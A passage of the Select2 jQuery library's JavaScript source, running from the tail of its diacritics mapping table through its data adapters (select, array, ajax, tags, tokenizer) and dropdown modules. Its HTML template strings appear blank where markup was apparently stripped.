'\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 $.removeData(this, 'data'); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data $.data(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = $.data($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; $.data($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (!$.isPlainObject(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ($request.status && $request.status === '0') { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '' + '' + '' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '' + '' + '' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + 